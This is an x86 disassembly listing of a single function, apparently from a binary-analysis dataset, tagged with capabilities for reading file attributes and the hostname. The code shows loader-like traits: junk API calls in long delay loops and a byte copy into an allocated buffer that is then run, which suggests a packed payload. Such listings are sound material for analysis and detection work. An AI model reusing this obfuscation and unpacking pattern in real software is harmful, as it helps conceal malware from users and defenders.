Function at 0x420a7d
Capabilities:
Get file attributes
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x86c
mov eax, dword [0x426004]
xor eax, esp
mov dword [esp + 0x868], eax
push ebx
push esi
xor esi, esi
push edi
xor ebx, ebx
cmp ebx, 0x11c
jne 0x420ab5
mov eax, dword [0x427420]
add eax, 0x9e49
mov dword [0x436024], eax
cmp dword [0x436024], 0xd5d
jne 0x420b03
xor eax, eax
mov word [esp + 0x14], ax
lea edi, [esp + 0x16]
stosw word es:[edi], ax
mov word [esp + 0x10], ax
lea edi, [esp + 0x12]
stosw word es:[edi], ax
lea eax, [esp + 0x24]
push eax
push dword [esp + 0x14]
lea eax, [esp + 0x24]
push dword [esp + 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
or dword [0x428214], 0xffffffff
mov dword [0x428210], 0xec58acac
inc ebx
cmp ebx, 0x123789a
jl 0x420a9e
xor eax, eax
cmp eax, 0x55ded1
jne 0x420b21
mov ecx, dword [0x426c58]
mov dword [0x436028], ecx
inc eax
cmp eax, 0x5ea53c
jl 0x420b0e
cmp dword [0x436024], 0x7c
jne 0x420bd0
push esi
lea eax, [esp + 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
push esi
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
call dword [sym.imp.USER32.dll_LoadIconW]
push esi
call dword [sym.imp.KERNEL32.dll_LocalCompact]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleSelectionInfo]
push 0x2e
lea eax, [esp + 0x44]
push esi
push eax
mov dword [esp + 0x48], esi
call fcn.00404c20
add esp, 0xc
push esi
lea eax, [esp + 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_RaiseException]
xor ebx, ebx
xor eax, eax
mov word [esp + 0x2c], ax
lea edi, [esp + 0x2e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [esp + 0x74]
push eax
push esi
lea eax, [esp + 0x38]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x1c]
push eax
call sub.KERNEL32.dll_GetSystemTimes
cmp ebx, 0x257a0
jg 0x420c23
inc ebx
cmp ebx, 0xea921
jl 0x420bd2
jmp 0x420c37
cmp dword [0x436024], 0xa
jne 0x420c37
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
cmp dword [0x436024], 0x2a
jne 0x420ca3
push esi
push esi
mov dword [0x435ee8], esi
mov dword [0x435eec], esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
push esi
push esi
lea eax, [esp + 0x78]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push esi
call fcn.00401305
pop ecx
push esi
call fcn.00401305
pop ecx
push esi
push esi
call fcn.00401015
push esi
push esi
push esi
call fcn.00401281
add esp, 0x14
push esi
push esi
call fcn.00401015
push esi
call fcn.00401517
add esp, 0xc
push dword [0x436024]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [0x436024]
xor edi, edi
mov dword [0x435d40], eax
cmp ecx, esi
jbe 0x420ce8
mov edx, dword [0x436028]
mov dl, byte [edx + edi + 0x9e49]
mov byte [eax + edi], dl
cmp ecx, 0x5ab
jne 0x420ce3
mov dword [0x435d44], 0x19b0
inc edi
cmp edi, ecx
jb 0x420cc1
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.004208ef
call fcn.004209cf
xor edi, edi
cmp dword [0x436024], 0x41
jne 0x420d18
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
cmp edi, 0xd606b
jne 0x420d25
call fcn.004208e4
inc edi
cmp edi, 0x24e87d
jl 0x420cff
mov dword [0x435ef0], 0x8e46a6f0
cmp esi, 0x408e
jle 0x420d4a
cmp dword [esp + 0x44], 0xf5bed7
jne 0x420d53
inc esi
cmp esi, 0x687ed2
jl 0x420d38
mov ecx, dword [esp + 0x874]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401006
mov esp, ebp
pop ebp
ret